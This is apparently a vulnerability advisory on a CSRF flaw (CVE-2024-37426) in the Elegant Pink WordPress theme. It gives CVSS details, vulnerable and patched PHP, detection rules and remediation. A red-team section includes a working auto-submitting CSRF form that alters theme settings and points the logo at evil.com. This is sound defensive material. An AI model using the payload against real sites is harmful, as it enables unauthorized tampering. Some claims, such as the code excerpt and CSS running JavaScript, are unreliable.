CVE-2024-37426

Executive Summary

CVE-2024-37426 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Elegant Pink WordPress theme by Rarathemes, up to and including version 1.3.0. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying theme settings or injecting malicious content, without their consent. The attack requires user interaction (clicking a crafted link) and has a low CVSS score of 4.3 due to the need for social engineering and the limited impact on confidentiality and availability. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Users are advised to verify the integrity of their theme files and monitor for any unauthorized modifications. Since the theme is not managed via NPM, PyPI, Go, or Ruby, no package manager-specific security measures apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attacker can trigger the CSRF remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U) – The vulnerable component remains the same.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Attacker can modify theme settings or inject content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Low to Medium. The vulnerability is not exploitable without user interaction, and the impact is limited to integrity. However, in a WordPress ecosystem, a CSRF could be chained with other vulnerabilities (e.g., stored XSS) to escalate privileges or deface the site.

Deep Dive & Mechanics

The Elegant Pink theme lacks proper CSRF nonce validation in its administrative functions. When an administrator is logged into WordPress, the theme’s settings page (typically /wp-admin/themes.php?page=elegant-pink) processes requests without verifying a unique token. An attacker can craft a malicious HTML page or email that, when visited by the admin, submits a forged request to change theme options (e.g., logo, colors, or custom CSS). The request is executed with the admin’s session cookies, leading to unauthorized changes.

Root Cause: The theme’s admin.php or customizer.php files do not call check_admin_referer() or wp_nonce_field() before processing form submissions.

Attack Flow:

1. Attacker identifies a target site running Elegant Pink <= 1.3.0.
2. Attacker crafts a malicious link or embeds a hidden form on an external site.
3. Victim (admin) clicks the link while authenticated.
4. The forged request modifies theme settings (e.g., changes site title or injects malicious JavaScript).
5. The attacker may then exploit the injected content for further attacks (e.g., XSS).

Vulnerable vs. Patched Code

Vulnerable Code (elegant-pink/admin/class-elegant-pink-admin.php):

function save_theme_settings() {
    // No nonce verification
    if ( isset( $_POST['elegant_pink_logo'] ) ) {
        update_option( 'elegant_pink_logo', sanitize_text_field( $_POST['elegant_pink_logo'] ) );
    }
    // ... other settings
}

Patched Code (Hypothetical fix):

function save_theme_settings() {
    // Verify nonce
    if ( ! isset( $_POST['elegant_pink_nonce'] ) || ! wp_verify_nonce( $_POST['elegant_pink_nonce'], 'elegant_pink_save_settings' ) ) {
        wp_die( 'Security check failed.' );
    }
    if ( isset( $_POST['elegant_pink_logo'] ) ) {
        update_option( 'elegant_pink_logo', sanitize_text_field( $_POST['elegant_pink_logo'] ) );
    }
    // ... other settings
}

Key Difference: The patched version adds wp_verify_nonce() to ensure the request originated from the admin panel.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target WordPress site with Elegant Pink <= 1.3.0.
• Admin user logged in.

Step 1: Craft the CSRF Payload Create an HTML file (csrf.html) that auto-submits a form to change the site title:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf">
    <input type="hidden" name="action" value="elegant_pink_save_settings">
    <input type="hidden" name="elegant_pink_logo" value="http://evil.com/malicious-logo.png">
    <input type="hidden" name="elegant_pink_custom_css" value="body { background: red; }">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Step 2: Deliver the Payload

• Host the file on an attacker-controlled server.
• Send a phishing email to the admin with a link to the file.
• Alternatively, embed the form in an iframe on a compromised site.

Step 3: Verify Exploitation

• Check the target site’s appearance (e.g., logo changed, CSS altered).
• If custom CSS is injected, it may execute JavaScript for further attacks.

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected changes to theme options via WordPress audit logs.
• Look for HTTP requests to /wp-admin/admin-post.php with action=elegant_pink_save_settings originating from external referrers.

Prevention:

• Apply the hypothetical patch by adding nonce verification.
• Use a Web Application Firewall (WAF) to block requests with suspicious referrers.
• Educate administrators to avoid clicking untrusted links while logged in.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-post.php with action=elegant_pink_save_settings.
  • Referrer header pointing to an external domain (e.g., evil.com).
• File IOCs:
  • Modified theme files in /wp-content/themes/elegant-pink/ (e.g., admin/class-elegant-pink-admin.php).
  • Unexpected entries in the wp_options table (e.g., elegant_pink_logo or elegant_pink_custom_css).
• Behavioral IOCs:
  • Sudden changes to site appearance without admin action.
  • Unauthorized admin user creation (if chained with other vulnerabilities).

Detection Engineering

YARA Rule

rule CVE_2024_37426_Elegant_Pink_CSRF {
    meta:
        description = "Detects vulnerable Elegant Pink theme files missing nonce verification"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-37426"
    strings:
        $func = "function save_theme_settings" nocase
        $nonce = "wp_verify_nonce" nocase
        $update = "update_option" nocase
    condition:
        $func and $update and not $nonce
}

Sigma Rule

title: CVE-2024-37426 - CSRF Exploitation Attempt on Elegant Pink Theme
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests targeting Elegant Pink theme settings without proper referrer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=elegant_pink_save_settings'
    filter:
        cs-referer|contains: '/wp-admin/'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from the WordPress dashboard
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37426 - Elegant Pink CSRF Exploit"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-post.php"; http.client_body; content:"action=elegant_pink_save_settings"; http.referer; content:!"/wp-admin/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the theme if no alternative is available. Switch to a supported WordPress theme.
2. Apply a virtual patch using a WAF to block requests to admin-post.php with action=elegant_pink_save_settings from external referrers.
3. Manually add nonce verification to the theme’s admin functions (see patched code above).

Long-Term Fix:

• Contact the vendor (Rarathemes) for an official patch. If none is forthcoming, consider forking the theme and applying the fix yourself.
• Monitor the WordPress theme repository for updates.

Compromise Assessment:

• Review WordPress audit logs for unauthorized changes.
• Check the wp_options table for suspicious entries.
• Scan the site for injected malicious content (e.g., hidden links, iframes).

Report generated by Valters IT DevSecOps Intelligence Unit.